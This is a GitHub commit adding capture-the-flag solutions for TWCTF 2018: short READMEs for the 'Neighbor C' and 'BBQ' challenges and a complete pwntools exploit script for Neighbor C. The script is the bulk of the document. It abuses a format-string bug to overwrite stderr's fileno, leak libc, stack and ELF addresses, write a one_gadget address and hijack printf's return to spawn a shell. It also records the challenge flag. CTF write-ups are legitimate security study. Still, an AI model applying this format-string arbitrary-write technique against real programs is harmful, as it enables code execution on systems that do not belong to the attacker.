Skip to content

Commit 1b49493

Browse files
BrieflyXBrieflyX
BrieflyX
authored and
BrieflyX
committed
add twctf bbq and neighbor_c
1 parent 7502b51 commit 1b49493

6 files changed

+132
-0
lines changed

format-string/neighbor_c/README.md

+3
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
# Neighbor C - TWCTF 4th 2018
2+
3+
Simple format string bug, but it prints to `stderr`. We could use the stderr structure pointer on the stack to do a partial overwrite. Then modify `fileno` in `stderr` thus get leak in stdout.
+124
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,124 @@
1+
#!/usr/bin/env python
2+
# coding: utf-8
3+
4+
from pwn import *
5+
6+
# TWCTF{You_understand_FILE_structure_well!1!1}
7+
8+
local = False
9+
10+
# aggressive alias
11+
12+
r = lambda x: p.recv(x)
13+
ru = lambda x: p.recvuntil(x)
14+
rud = lambda x: p.recvuntil(x, drop=True)
15+
se = lambda x: p.send(x)
16+
sel = lambda x: p.sendline(x)
17+
pick32 = lambda x: u32(x[:4].ljust(4, '\0'))
18+
pick64 = lambda x: u64(x[:8].ljust(8, '\0'))
19+
20+
# module structure & function
21+
22+
libc_remote = {
23+
'base': 0x0,
24+
'stderr': 0x3c2590,
25+
'one_gadget': 0xf1651
26+
}
27+
28+
libc = libc_remote
29+
30+
elf = {
31+
'base': 0x0,
32+
'leaked': 0x962,
33+
'ret': 0x964
34+
}
35+
36+
37+
def set_base(mod, ref, addr):
38+
base = addr - mod[ref]
39+
for element in mod:
40+
mod[element] += base
41+
42+
def fmts(pay):
43+
last = 0
44+
payload = ''
45+
for off,b in pay:
46+
t = ord(b)
47+
c = t - last
48+
if c <= 0:
49+
c += 256
50+
payload += '%{}c%{}$hhn'.format(c, off)
51+
last = t
52+
sel(payload)
53+
54+
def fmt(off, b):
55+
if b == 0 or b == '\0':
56+
c = 256
57+
else:
58+
c = ord(b)
59+
60+
sel('%{}c%{}$hhn'.format(c, off))
61+
if not local:
62+
time.sleep(1)
63+
64+
def rbp1(b):
65+
fmt(7, b);
66+
67+
def rbp2(b):
68+
fmt(11, b);
69+
70+
while True:
71+
if local:
72+
p = process('./neighbor_c-310f2ca86ab0025591c201502ccb4bc3a13b30350b106e693cf483fbdb2b76b1', env={'LD_PRELOAD': './libc-a3c98364f3a1be8fce14f93323f60f3093bdc20ba525b30c32e71d26b59cd9d4.so.6'}, aslr=False)
73+
else:
74+
p = remote('neighbor.chal.ctf.westerns.tokyo', 37565)
75+
76+
# Try to overwrite stderr fileno to 1, then we could get leak
77+
78+
ru('to our mayor.\n')
79+
rbp1('\x70')
80+
rbp2('\x90')
81+
fmt(5, '\x01')
82+
83+
sel('lotus1337')
84+
if 'lotus1337' in p.recvuntil('lotus1337', timeout=2):
85+
print('[+] Hit!')
86+
else:
87+
p.close()
88+
del p
89+
continue
90+
91+
sel('AAAA%5$llxBBBB%7$llxCCCC%10$llxDDDD')
92+
ru('AAAA')
93+
stderr = int(rud('BBBB'), 16)
94+
print('[+] stderr fileno @ %#x' % stderr)
95+
set_base(libc, 'stderr', stderr)
96+
print('[+] libc base @ %#x' % libc['base'])
97+
98+
rbp1_val = int(rud('CCCC'), 16)
99+
printf_ret = rbp1_val - 0x38
100+
gadget = rbp1_val - 0x30
101+
rsi = rbp1_val + 0x18
102+
print('[+] rbp1 = %#x' % rbp1_val)
103+
print('[+] printf ret addr @ %#x' % printf_ret)
104+
105+
leaked_elf = int(rud('DDDD'), 16)
106+
set_base(elf, 'leaked', leaked_elf)
107+
print('[+] elf base @ %#x' % elf['base'])
108+
109+
# Clear rsi on stack
110+
for i in range(8):
111+
rbp1(p8((rsi + i) & 0xFF))
112+
rbp2(0)
113+
114+
# Put one_gadget
115+
for i in range(8):
116+
rbp1(p8((gadget + i) & 0xFF))
117+
rbp2(p8((libc['one_gadget'] >> (8 * i)) & 0xFF))
118+
119+
# Overwrite printf return address to ret
120+
rbp1(p8(printf_ret & 0xFF))
121+
rbp2(p8(elf['ret'] & 0xFF))
122+
123+
p.interactive()
124+
break

heap-multi/BBQ/README.md

+5
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
# BBQ - TWCTF 4th 2018
2+
3+
The vulnerability is an uninitialized variable on the stack, with a buffer controlled on the stack, we can control `eat` target (of course there should be a `0xdeadbeef11`).
4+
5+
The vulner could be exploited in multiple ways, each of them is complicated using heap techniques.

0 commit comments

Comments
 (0)